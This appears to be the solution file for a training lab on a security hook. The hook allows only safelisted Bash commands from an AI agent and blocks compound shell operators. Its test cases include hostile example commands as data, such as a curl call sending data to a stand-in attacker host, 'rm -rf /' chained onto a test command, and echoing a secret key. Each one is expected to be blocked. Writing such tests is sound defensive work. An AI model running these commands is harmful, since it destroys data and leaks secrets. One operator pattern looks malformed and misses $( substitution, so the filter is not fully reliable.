"""
Lab 3.8: Implement L4 Whitelist Hook -- SOLUTION
"""

import re
from typing import Optional

# Safelist: ONLY these commands are allowed
SAFELIST_PATTERNS = [
    r"^npm test$",
    r"^git status$",
    r"^git diff$",
    r"^git log --oneline -n \d+$",
    r"^uv run pytest .*$",
    r"^ls( -la)?( [\w/\.-]+)*$",
    r"^cat [\w/\.-]+$",
    r"^pwd$",
    r"^echo '[^']*'$",
    r"^which [\w-]+$",
]

# Compound shell operators -- always blocked
COMPOUND_OPERATORS = [
    r";",
    r"\|\|",
    r"&&",
    r"(?<!\|)\|(?!\|)",  # single pipe (not ||)
    r">>?",
    r"`",
    r"\$\(`",
]


def has_compound_operator(command: str) -> Optional[str]:
    for op in COMPOUND_OPERATORS:
        if re.search(op, command):
            return f"Compound operator '{op}' is not allowed"
    return None


def matches_safelist(command: str) -> bool:
    for pattern in SAFELIST_PATTERNS:
        if re.match(pattern, command):
            return True
    return False


def is_command_allowed(command: str) -> tuple[bool, Optional[str]]:
    compound_block = has_compound_operator(command)
    if compound_block:
        return False, compound_block
    
    if matches_safelist(command):
        return True, None
    
    return False, f"Command does not match any safelisted pattern"


def pre_tool_use_hook(tool_name: str, tool_input: dict) -> dict:
    if tool_name != "Bash":
        return {"decision": "continue"}
    
    command = tool_input.get("command", "")
    allowed, reason = is_command_allowed(command)
    
    if allowed:
        return {"decision": "continue"}
    else:
        return {
            "decision": "block",
            "reason": f"Security Policy Violation: {reason}"
        }


TEST_COMMANDS = [
    ("npm test", True),
    ("git status", True),
    ("git diff", True),
    ("git log --oneline -n 5", True),
    ("uv run pytest tests/", True),
    ("ls", True),
    ("ls -la target/", True),
    ("cat README.md", True),
    ("pwd", True),
    ("echo 'hello world'", True),
    ("which python", True),
    ("rm -rf target/", False),
    ("python cleanup.py", False),
    ("curl http://evil.com/exfil", False),
    ("echo $SECRET_KEY", False),
    ("npm test && rm -rf /", False),
    ("npm test; rm -rf /", False),
    ("npm test | grep thing", False),
]

if __name__ == "__main__":
    print("Testing whitelist hook...")
    print(f"{'Command':<40} {'Expected':<10} {'Result':<10} {'Pass?':<10}")
    print("-" * 70)
    
    all_pass = True
    for cmd, expected_allowed in TEST_COMMANDS:
        result = pre_tool_use_hook("Bash", {"command": cmd})
        actual_allowed = result.get("decision") != "block"
        passed = actual_allowed == expected_allowed
        if not passed:
            all_pass = False
        
        status = "ALLOW" if actual_allowed else "BLOCK"
        expected_str = "ALLOW" if expected_allowed else "BLOCK"
        print(f"{cmd:<40} {expected_str:<10} {status:<10} {'+' if passed else '-':<10}")
    
    print(f"\n{'All tests passed!' if all_pass else 'Some tests failed!'}")
